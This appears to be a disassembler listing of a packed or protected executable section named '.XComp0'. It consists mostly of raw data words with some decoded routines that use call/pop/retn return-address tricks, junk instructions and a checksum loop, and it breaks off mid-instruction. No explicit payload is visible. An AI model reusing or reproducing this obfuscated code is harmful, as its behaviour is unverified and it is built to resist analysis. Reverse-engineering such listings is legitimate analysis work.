0A7332619h, 8B66E1FFh, 0F91F159Dh, 21B5FF05h, 6A05FCFCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 7DABC353h, 2211B529h, 0BD8B05F9h, 5F9256Dh dd 1AAD95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0DF7A34C3h, 0BD036DD6h, 5F92E69h dd 0EE85C5BBh, 15B58B39h, 6A05FCFCh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BDD3C355h dd 60F0F3ACh, 1135858Bh, 5E905F9h, 0E2000000h, 0C1196ECBh dd 106C761h, 8B000100h, 0F924F5BDh, 52509605h, 0FF98B66h dd 5E95731h, 9D000000h, 42D8E53Eh, 50585A5Bh, 0F81B560h dd 0B8Eh, 5E800h, 0D1E60000h, 5898AAD1h, 0FE8A9661h, 0FC21B5FFh dd 0D88B05FCh, 95FFF98Bh, 5F92729h, 8BFABF0Fh, 0FCFC15B5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0E60084FBh, 0CE925F1h, 0C000000h, 0CE5484BFh dd 430F7D37h, 8BC23C41h, 0F9180985h, 8D9D2905h, 8905F91Eh dd 0C486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 9EB7B242h, 958B49E2h, 5F90CDDh, 4259D89h dd 0C28305F9h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0CEBE5755h, 20508979h dd 2DD98589h, 0CE805F9h, 0EE000000h, 9E33EF33h, 1DAE6E06h dd 8B7BC45Bh, 858D5FDAh, 5FD10E9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0FEC35040h, 80D584EEh, 0B88689h dd 8D290000h, 5F91611h, 8B66006Ah, 21B5FFD9h, 6A05FCFCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 8EB1C353h, 414DD3F2h, 6D9D8966h, 0FF05F901h dd 0F9009995h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0F7CBD160h, 89606026h dd 0F93155BDh, 0C78B6605h, 8D296161h, 5F91609h, 66575096h dd 5F9FDFBBh, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0BF853A9Bh, 78B37F55h, 10E8h, 176FEE00h dd 9FE96530h, 86192DD6h, 80646015h, 6820FC9h, 8B000000h dd 0F9002DBDh, 0B5FF5B05h, 5FCFC21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 92C35646h, 0E9BB694Bh, 7, 8C3BD170h dd 0FF27FFBDh, 0F9356995h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 8B1B090Eh dd 0F5BD8378h, 5F917h, 5E840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 7F03F4C3h dd 50396C1Ch, 15FBEDBFh, 2434894Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 3AC35343h, 807909ECh, 1931BD33h dd 0B70F05F9h, 58E0FD8h, 60000000h, 61F85E50h, 0FC21B5FFh dd 6A05FCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 818377C3h, 7AA451E5h, 0F08FBAFh, 98Ah, 3840F00h dd 80000000h, 95FF51E3h, 5F92E6Dh, 0FF60DF80h, 0FCFC21B5h dd 0FB8B6605h, 21DD95FFh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5C3B81C3h, 0DE850h, 0EA2A0000h dd 77E6DE3Ah, 1D814B0Ah, 0BBA98004h, 3FA53B87h, 2DBD835Bh dd 205F90Ah, 3E840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 5777A9C3h, 8B66D7B0h dd 858BFCF8h, 5F91151h, 6E9h, 6B026B00h, 0C6DAF1B5h, 0B5090000h dd 5F92515h, 331985C7h, 5F9h, 6E90000h, 0AF000000h, 4DE17498h dd 0F341E977h, 0E381FFFFh, 3138647Ah, 6AC18Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0A81717C3h, 0A0572732h, 14E9h, 6A830A00h, 0C366C00Ah dd 0A705F5BFh, 0FEEAF651h, 0FF7DE742h, 0C1858DE7h, 6A05F90Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0E292C352h, 0BA2EE2B5h, 0E8BB5088h, 5, 0B5A850FFh dd 0E414BB90h, 0E85F2B0Bh, 11h, 1722D79h, 148F4134h, 5D27D830h dd 0B04E0433h, 259D33E4h, 5F05F90Dh, 0BE890h, 95EC0000h dd 3E2D8D5Fh, 79CF6D75h, 28E0F9Eh, 57000000h, 0E9505B5Fh dd 0Ah, 135C2CB9h, 7AF74F49h, 8B904E30h, 0F916F9BDh, 6A006A05h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 9799C356h, 0ED9450FBh, 6A006A69h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0F31BC353h, 12CD8D01h, 8D2905F9h, 5F91F65h, 858DDA8Bh dd 5FE2AF2h, 0DE36BF66h, 6A05C083h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8908C355h dd 0F9179195h, 5D9D2B05h, 5005F92Ah, 0DA8B5250h, 0BF66310Fh dd 585A17B9h, 0BF240489h, 3C4C2BA9h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9EE84BC3h dd 13E92Dh, 88680000h, 0BB9BA3CEh, 665A310Fh, 1170B245h dd 998D13E0h, 0FF006A10h, 0F913ED95h, 0FA8B6605h, 0E9838D8Dh dd 9D8905FCh, 5F921BDh, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 3AF621C3h, 0BD83D3D2h dd 5F91785h, 54850F01h, 0E9000000h, 0Ah, 38F2A5B0h, 209E853Bh dd 26ACFECh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 83C35141h, 34FCE1F5h, 0F9B39012h, 0CC68BF50h, 0E9903558h dd 7, 0B2C1CEB6h, 0FF4FB834h, 0F9009995h, 0E1853105h, 0E905F92Dh dd 0E22h, 0E8h, 0ED815D00h, 5FE2AFCh, 0EE9h, 83F19C00h dd 0AEDEF25Bh, 374E550Dh, 663641FDh, 8DB97BBBh, 0FCD97C85h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89C60A68h, 0F92505BDh, 0DB816605h, 0BE950F2h dd 25000000h, 0C1968396h, 0AC9E592Ah, 895058CAh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 6C4F38C3h, 0F6829602h, 0BD8BB625h, 5F90B65h, 35FF64h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 623BC357h, 0E2A47975h, 10E8DB47h dd 40000000h, 0D4C5961Fh, 6095FFFBh, 87B272E4h, 319E9C70h dd 0F91EC18Dh, 89645B05h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0AE380F4Ch dd 95337C87h, 68A0F7Ch, 1000000h, 0F9135D9Dh, 0FFDA8B05h dd 0F9197D85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 5C09E9E7h, 91990DEh, 0F9255995h dd 3605605h, 0F913419Dh, 8E905h, 37B10000h, 0DA602B86h dd 5B61591Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0BBFE8EC3h, 25C1D4BEh, 16DDB5FFh dd 0B58905F9h, 5F9184Dh, 91195FFh, 0CE905F9h, 60000001h dd 16D9958Bh, 800F05F9h, 6, 13818531h, 0B06105F9h, 0B1852900h dd 0E605F928h, 8B575270h, 0F91B2D9Dh, 0E45B5F05h, 3810F71h dd 66000000h, 613CDE8Bh, 0D1830Fh, 7E90000h, 84000000h dd 0E6578DB9h, 0B5294E6Eh, 5F921A1h, 0BAC8B60Fh, 6, 4018531h dd 958905F9h, 5F92ED5h, 6E8C18Bh, 49000000h, 48AA617Dh dd 0E8C15F08h, 0E5BD8904h, 6605F90Dh, 0C82BE2F7h, 5E9h dd 0E33DB200h, 0D18B6369h, 852DBB66h, 7AE9h, 0D5CB8000h dd 8BFB8B66h, 185h, 759D8B00h, 8305F91Eh, 9D8B07C0h, 5F92E4Dh dd 0E800C083h, 8, 8AA06A51h, 0A572C9DDh, 895F67B7h, 0F90C25BDh dd 0FD03B05h, 0A83h, 39E900h, 81660000h, 8B1B6BCFh, 0FFFFFF8Dh dd 0D9B70FFFh, 0F01E183h, 2284h, 0F8BF0F00h, 83F98B66h dd 0FFFFFFA5h, 8166FEFFh, 891467E7h, 195h, 0E7ABBB00h dd 0E94C33h, 8D000000h, 0FDA25BB5h, 5E95205h, 3E000000h dd 7DE923F2h, 0C59D8B5Fh, 6A05F933h, 95FFF900h, 5F91AEDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6AC35343h dd 1F8988D9h, 0B9F88B66h, 0ECCh, 837ADF80h, 6AFCE1h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0BB5E27C3h, 3DBD8B60h, 0FC05F921h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0A6C35141h, 199B696Bh, 1B037074h dd 0DF815395h, 50BD5437h, 0D8B70F5Fh, 0B8h, 0CFDB8000h dd 8509D22Bh, 5F90D81h, 0ADFB8B66h, 0E8D1C233h, 0E983D003h dd 51F47504h, 32DDBD29h, 6A5F05F9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7723C352h dd 9D9C85A1h, 0DF0B782h, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 83C35141h, 37C2E05Ah, 958B5C61h dd 5F90CDDh, 3239BD89h, 8D8B05F9h, 5F926C1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7FC35545h, 0BFC22014h dd 0BFBF32Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 85095818h, 5F91995h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0A2C35242h, 9C39C401h, 0E85B83F1h, 9 dd 0FF2D348Dh, 0BEEA36D7h, 0E1BD236Bh, 5F05F920h, 1159BD83h dd 0F0005F9h, 5984h, 0B85F5600h, 0 ; --------------------------------------------------------------------------- jmp loc_5BE547 ; --------------------------------------------------------------------------- db 4Ah, 51h, 43h dd 0EA6C57E3h, 0BD1DF00Ch, 0F31FC306h ; --------------------------------------------------------------------------- cmc rol dword ptr [esi], 1 loc_5BE547: ; CODE XREF: .XComp0:005BE530j lea ecx, [ebp+5F94EE8h] push 0 push eax call sub_5BE558 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE558 proc near ; CODE XREF: .XComp0:005BE550p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5BE558 endp ; --------------------------------------------------------------------------- dd 0D5D099CDh, 3CCDCDC4h, 8D9D8B2Eh, 8B05F92Eh, 0F916C1BDh dd 0FE1FF05h, 0BD83D9B7h, 5F900FDh, 96840F00h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0F7EC356h, 0BD83F9BFh, 5F900FDh, 85840F01h dd 80000004h, 0BD8384C7h, 5F900FDh, 3F860F03h, 66000004h dd 0F60FE8Bh, 48Ah, 5FBB6600h, 55C9BB53h, 8C6614D8h, 52006AD9h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8E0D11C7h, 22AFEB76h, 6D9D233Ah, 2305F92Ah, 0F927F1BDh dd 4E18005h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0CAC35747h, 12CB16CBh, 41A6F984h, 68E0F09h, 89000000h dd 0F9138D85h, 0FC90A05h, 13A84h, 13E900h, 9FCD0000h, 0D8158E6Ah dd 3C666312h, 27110199h, 0FBEA64Ch, 99858B7Ah, 6A05F925h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 2C89C353h, 42D8533h, 6A05F9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B5E0A3C3h dd 8AC30358h, 699D8B7Eh, 0F05F912h, 68Ah, 0A5852900h, 9005F92Ch dd 0BED6BF60h, 5BB7301Eh, 0E9605061h, 0Ch, 126C7F9h, 3B035060h dd 0CB48E3A6h, 5E9h, 4D4E0B00h, 9061B68Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B7C35343h, 3E3EB4h dd 0C78FD781h, 6A467Ch, 0F1F38166h, 0FB726824h, 0F98B1E99h dd 8D243481h, 6A1E86F8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 56A9C350h, 0F34A67F0h dd 2AC595FFh, 9E805F9h, 0D9000000h, 532A43A2h, 0B6C2D9D4h dd 7E8h, 9CC33D00h, 3B500863h, 16D9D8Bh, 5F5F05F9h, 0FC218589h dd 9D8B05FCh, 5F90DC9h, 1C4E9h, 0ED858900h, 8B05F925h dd 0FCFC1985h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 7AD72360h, 0FC67210h dd 787h, 0DEBF6000h, 6177EFECh, 1800C7h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B58B9CC3h, 5FCFC1Dh, 858BBAB3h, 5F92B89h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 8EC35141h, 0BD8B668Dh dd 5F90B45h, 0AEF8BF66h, 689FE8Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0A9C35242h, 2D6FE43Bh, 0EB816298h dd 29DCE9ECh, 2599858Bh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E85D26C3h, 10h, 2194847Fh dd 631233Ah, 559498CFh, 0D56CD88Fh, 4D78166h, 0B70F5F4Ch dd 44689FAh, 6BF38166h, 0FEBB965Bh, 5072FDA6h, 6A96DE8Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0DA3C357h, 0FF1DB3F8h, 0FCFC19B5h, 0DE8B6605h dd 26F26668h, 0BF666018h, 810FC937h, 4, 539EBE66h, 24348161h dd 1839F199h, 21858DFCh, 6A05FCFCh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0BF4C351h dd 50501AD2h, 0B5F5BF52h, 310F2602h, 0B7A9BF66h, 489585Ah dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 24E94841h, 81F8A9A3h, 3BFF78E7h, 0C595FF51h dd 8B05F92Ah, 0F920E99Dh, 6A6105h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 1238B3C3h, 219D0983h dd 8B05F91Fh, 0FD85C7FEh, 305F900h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0DAE9C356h, 0BBC4C85Dh, 22F3BE8Eh, 0FC21BD83h, 0F0005FCh dd 6184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0E4BF913h, 669E4336h, 232EC781h dd 6E9h, 0E7A9C400h, 0E90835EAh, 45h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0AEC35141h, 0C8144765h, 809F8395h dd 1E71BD8Bh, 305005F9h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0FFB70FC0h, 31298D29h, 0BD8305F9h dd 5F900FDh, 5E850F03h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 76EFC356h dd 81D88B1Ah, 0DD2BB2EFh, 21BD8338h, 5FCFCh, 42B840Fh dd 0BB660000h, 0B5FF8927h, 5FCFC21h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 99C35040h, 0E16F68EBh, 9DE8B66h dd 0F9163995h, 0F19D8B05h, 0FF05F91Eh, 0F91AAD95h, 12E805h dd 6E550000h, 65B31643h, 0E5D0494Ah, 3802067Ah, 0A43070ABh dd 5BFA8B66h, 0FC15B58Bh, 6A05FCh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 93624C3h, 0A02CBD53h dd 106C7h, 880F0001h, 3, 96FB8B66h, 0D18B6660h, 2F72BE66h dd 0B7BB5061h, 961031E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 93C35646h, 966BB505h, 0FC21B5FFh, 6A05FCh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8A0FBBC3h, 2, 0B70F0DB7h, 2995FFDEh, 2905F927h, 0F92505B5h dd 15B58B05h, 0FC05FCFCh, 0A45BD8Bh, 858B05F9h, 5F91809h dd 9B37D781h, 81666B4Bh, 891DACDFh, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 38E1194Eh, 18EE0A00h, 0E9F88B66h, 8, 0CECF0C57h, 0E4B3E738h dd 5D5BD8Bh, 958B05F9h, 5F90CDDh, 6004C283h, 1B5AF781h dd 0B70F4692h, 0DE861F1h, 9B000000h, 0FE54348Eh, 79356584h dd 310AC5E4h, 0DF816650h, 5F5B56DAh, 81205089h, 0AD3382DBh dd 0E9858D31h, 6A05FD10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0BBB5C352h, 31057FFBh dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 96A9B5C3h, 5886D2DFh, 6A006A7Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B7BC350h, 21B5FFFAh, 6A05FCFCh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 47F9C356h, 74B843F8h, 0DE8B98C1h, 2810Fh, 0F88A0000h dd 73DF8166h, 9995FF0Fh, 6A05F900h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4730C355h dd 31858B60h, 5005F920h, 61596160h, 0EFBF6696h, 8B605079h dd 6A9661D9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0B041C356h, 0B70FA011h, 21B5FFDBh dd 8905FCFCh, 0F908D595h, 6995FF05h, 6A05F935h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0FA38C355h dd 0BD8326CAh, 5F917F5h, 34840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 98F9C350h, 44CCDB8Eh, 0EDBD89E8h, 5005F926h, 3489DF8Bh dd 15BD2924h, 0FF05F927h, 0FCFC21B5h, 31BD8905h, 0E905F915h dd 6, 126F0364h, 95FF0AE0h, 5F92E6Dh, 7219D0Bh, 0B5FF05F9h dd 5FCFC21h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0E8C35646h, 0CF76CA2Ah, 0E9B69C08h, 0Ch, 0B9631B21h dd 94F7B62h, 1710C54Ah, 21DD95FFh, 6E805F9h, 0C7000000h dd 0EFD7BEBEh, 7BBB6677h, 0BD835BFFh, 5F90A2Dh, 61840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0CAB2C353h, 0ED502A6Eh, 6BBB776Dh dd 204D8589h, 0F98B05F9h, 1151858Bh, 858905F9h, 5F92B41h dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 440DC355h, 8D89020Bh, 5F912A1h dd 331985C7h, 5F9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 100544C3h, 8D8960D7h dd 5F900B9h, 27159531h, 606105F9h, 0E3B1D281h, 0E8810A27h dd 0D65B46Ch, 0F362E961h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D0179C3h, 5F90009h dd 8B0FC18Bh, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+5F906BDh] lea eax, [ebp+5F90DC1h] push 0 push ebx call sub_5BEF17 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEF17 proc near ; CODE XREF: .XComp0:005BEF0Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5BEF17 endp ; --------------------------------------------------------------------------- lodsd sbb [eax+60F9A44Eh], dh xor [ebp+5F91235h], eax mov ebx, [ebp+5F9218Dh] popa nop jmp loc_5BEF4A ; --------------------------------------------------------------------------- inc dword ptr [ebp+edi*8+0] pop ecx xor al, 99h mov esi, edi loc_5BEF4A: ; CODE XREF: .XComp0:005BEF3Cj push eax mov bx, 365h nop push 0 push esi call sub_5BEF5B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEF5B proc near ; CODE XREF: .XComp0:005BEF53p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5BEF5B endp ; --------------------------------------------------------------------------- leave add [ebp-5D94BE08h], dh lodsd mov ebx, [ebp+5F904A1h] mov ebx, [ebp+5F900CDh] or ebx, 1274F114h push 0 push 0 push edx call sub_5BEF92 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEF92 proc near ; CODE XREF: .XComp0:005BEF8Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BEF92 endp ; --------------------------------------------------------------------------- dw 2BC1h ; --------------------------------------------------------------------------- add eax, 0AFED2ADDh mov ah, 0D6h and al, 8Bh mov ebp, 5F90D0Dh jmp loc_5BEFCA ; --------------------------------------------------------------------------- db 2Eh dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0A0D823D3h ; --------------------------------------------------------------------------- test al, 25h loc_5BEFCA: ; CODE XREF: .XComp0:005BEFB2j push 0 push edx mov ebx, [ebp+5F900F5h] pop edi lea eax, [ebp+5FE3B6Bh] push 0 push ebp call sub_5BEFE5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEFE5 proc near ; CODE XREF: .XComp0:005BEFDDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5BEFE5 endp ; --------------------------------------------------------------------------- db 4, 14h, 0D7h dd 5C08375h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 6BC35646h, 58164671h, 0AC76E9AAh, 1AB19501h, 0E95005F9h dd 6, 9C3CBBCAh, 489A5AAh, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0FC164247h dd 0EEEA863h, 0D9D8B60h, 905F917h, 0F92A5195h, 6A6105h dd 11259D2Bh, 6A05F9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 42C35141h, 0D98ACEF3h, 13ED95FFh, 8D8D05F9h dd 5FCE983h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 78C35343h, 8B150C05h, 0F926E19Dh, 0F98B6605h, 6E9D1FFh dd 24000000h, 4AFE220Bh, 85BD8334h, 105F917h, 7A850Fh dd 9E90000h, 0C8000000h, 52A1DAA5h, 172D3CFAh, 0BF0F026Ah dd 8E0F90FFh, 8, 0F525050h, 5F585A31h, 6A9050h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0CF9E3AC3h, 0AD4039A0h, 0BD8B1085h, 5F90CD5h, 95DBD29h dd 95FF05F9h, 5F90099h, 0DE860h, 0E2920000h, 0BA2EE2B5h dd 62BB5088h, 8B794AF5h, 0F920CD9Dh, 81665A05h, 610C02F2h dd 0CE2E9h, 0E800h, 815D0000h, 0FE3B75EDh, 5830F05h, 66000000h dd 42FEDF81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0FEC35646h, 13C71C48h, 36F01F0Ah, 0B7C38166h, 7C858D4Bh dd 6A05FCD9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0B900C353h, 0D5A73991h, 0E9505E41h dd 7, 928C5A97h, 8949B85Eh, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 247A13C3h dd 83B8483Ah, 35FF6450h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BF20B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF20B proc near ; CODE XREF: .XComp0:005BF203p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BF20B endp ; --------------------------------------------------------------------------- push 89646B8Eh and eax, 0 push 0 push edi call sub_5BF230 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF230 proc near ; CODE XREF: .XComp0:005BF228p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BF230 endp ; --------------------------------------------------------------------------- dd 1ED562DBh, 7C09C9E2h, 359589ADh, 0E805F925h, 5, 6606665Dh dd 895FF9B9h, 0F92D9585h, 7D85FF05h, 0BB05F919h, 78F2A29Ah dd 8AFF6AF5h, 71B5FFF9h, 6A05F917h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 23BCC353h dd 59FDFF53h, 8166EF0Fh, 0FF1CA9C3h, 0F9091195h, 103E905h dd 870F0000h, 1, 0E900B0FCh, 0Eh, 11FC6C31h, 4B6757D4h dd 79AA48ECh, 70E63E23h, 1FE59531h, 71E405F9h, 0B656BF66h dd 830F613Ch, 0D1h, 68F0Fh, 0BD890000h, 5F91459h, 0BAC8B60Fh dd 6, 9C18BF5h, 0F92785BDh, 4E8C105h, 66F98B66h, 8D09E2F7h dd 5F93195h, 0EE9C82Bh, 0F1000000h, 71C8856h, 7C3AEDCh dd 57C3FECDh, 81D18B4Ch, 0D4BC57CBh, 83E90Ch, 0BF660000h dd 858BC30Fh, 4, 25BD9D8Bh, 0C08305F9h, 8363B707h, 8B6600C0h dd 0FD03BDAh, 1483h, 19858900h, 8905F90Dh, 0F931759Dh dd 4FE905h, 8B660000h, 0FF8D8BDAh, 66FFFFFFh, 83B6A0BBh dd 840F01E1h, 39h, 2EF5B531h, 14E905F9h, 50000000h, 8D1147D8h dd 0E145DFBFh, 291B37ACh, 2FC08973h, 83179FB0h, 0FFFFFFA5h dd 0BF66FEFFh, 9589D470h, 4, 7824BF66h, 0E9h, 27B58D00h dd 0BF05FDB1h, 5E618E68h, 0BB60006Ah, 6974A224h, 1591B589h dd 0FF6105F9h, 0F91AED95h, 1069B905h, 9D290000h, 5F92DEDh dd 57FCE183h, 6AFC5BF8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0E5D8C351h, 0C31278F2h dd 10BF668Bh, 8D9D01C2h, 2B05F921h, 0E99D8BC0h, 0BA05F910h dd 0 ; --------------------------------------------------------------------------- loc_5BF418: ; CODE XREF: .XComp0:005BF422j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5BF418 sub ebx, 3015D914h mov bx, 0CDF9h or eax, 88h movzx edi, cx cmc mov edx, [ebp+5F90CDDh] mov bh, 0DAh mov ecx, [ebp+5F926C1h] jmp loc_5BF451 ; --------------------------------------------------------------------------- dw 0D4E3h dd 7B50C8E9h ; --------------------------------------------------------------------------- inc ebp loc_5BF451: ; CODE XREF: .XComp0:005BF445j push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax add ebx, [ebp+5F91371h] mov ebx, 14D5A8C0h cmp dword ptr [ebp+5F91159h], 0 jz loc_5BF4CB jmp loc_5BF48B ; --------------------------------------------------------------------------- dd 0EEE97245h, 22F619BDh db 3Bh, 0E7h, 1Ch ; --------------------------------------------------------------------------- loc_5BF48B: ; CODE XREF: .XComp0:005BF47Bj mov eax, 0 mov ebx, 